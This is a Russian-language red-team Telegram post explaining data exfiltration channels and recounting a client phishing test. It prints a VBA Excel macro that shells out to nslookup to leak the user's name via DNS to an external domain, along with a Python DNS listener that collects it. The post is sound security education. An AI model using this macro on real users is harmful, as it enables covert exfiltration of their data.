REDtalk

Я долго думала с какого поста стоит начать и после долгих раздумий решила чуть-чуть поделиться теорией и рассказать историю из своей практики😳. Приятного чтения)

Итак, сегодняшней темой поста станет эксфильтрация, один из этапов постэксплуатации.

😦 Что такое❓
Все просто: это передача файлов, а, если быть точной, то со скомпроментированного хоста на машину атакующего (victim -> attacker).

‼️ Отличаем от инфильтрации (передача по цепочке attacker -> victim)

😦 Какая бывает❓
В зависимости от инфраструктуры и обстоятельств можно выделить, так сказать, базу:
• через TCP
• через SMB
• через HTTP
• с использованием FTP
• с помощью TFTP
• через ICMP
• через DNS

😦 Для чего вам эта инфа❓
Для красненьких полезно уметь тащить файлики к себе на хост, а синеньким стоит внимательнее смотреть трафик, как бы там не полетела чья-нибудь sensitive data в DNS-трафике.

😋 Тру стори

Итак, приходит условный Заказчик и говорит:

- Потратил много денях на обучение сотрудников, хочу проверить сколько из них с радостью откроют фишинговое письмо да еще и с другом поделятся.

Вроде тривиальная на первый взгляд задача, не требуется компрометация хоста, просто пересчитать по головам. Однако во внутренней сети проксируется http, фильтруются любые запросы во вне😐.

Однако действительно ли все фильтруется❓

😎

Как известно, любая изолированная внутренняя сеть как-то взаимодействует с внешним миром, например, для отправки электронной почты или загрузки обновлений. Поэтому DNS почти всегда будет ходить во вне и резолвить внешние адреса.

Соответственно для проведения социотехнического тестирования было принято использовать Exel-файл с VBA скриптом, который представлял из себя что-то вроде:

Sub PerformNslookup()
    Dim username As String
    Dim domain As String
    Dim command As String
    
    WhoIsUser = Environ("UserName")
    domain = "sub.domain.ru"
    
    command = "nslookup " & WhoIsUser & "." & domain
    
    Shell "cmd /c " & command, vbNormalFocus
End Sub

Он резолвил поддомен третьего уровня нашей DNS-зоны, передавая в узле имя пользователя, который запустил макрос.

В качестве DNS-сервера выступал простой питоновский скрипт на сокетах:

import socket
import re
import binascii
from dnslib import DNSRecord
UDP_IP = "0.0.0.0"
UDP_PORT = 53
sock = socket.socket(socket.AF_INET, 
           socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))
while True:
 byteData, addr = sock.recvfrom(2048)
 try:
   message = binascii.unhexlify(binascii.b2a_hex(byteData))
   message = DNSRecord.parse(message)
 except Exception as e:
   print(e)
   continue
 result = re.search(r'\;(\S+)\.sub\.domain\.ru', str(message), re.MULTILINE)
 if result:
   print('detected:', result.group(1))

Как-то так DNS-экфильтрация стала реальным живым кейсом и вектором утечки данных в отчете Заказчика)

😦Ну вроде все просто, а что по детектам❓
Детектят эксфильтрацию в основном по подозрительному трафику и сигнатурам используемых инструментов.

На этом для первого раза, пожалуй, все :)
P.S.
Если есть какие-то темы/вектора, которые хотелось бы обозреть по-подробнее, напишите в комментарии🤗

⬇️

#REDTalk #redteam

Please open Telegram to view this post

VIEW IN TELEGRAM

❤16🔥12⚡3👾1

660 viewsdeadunii, 09:01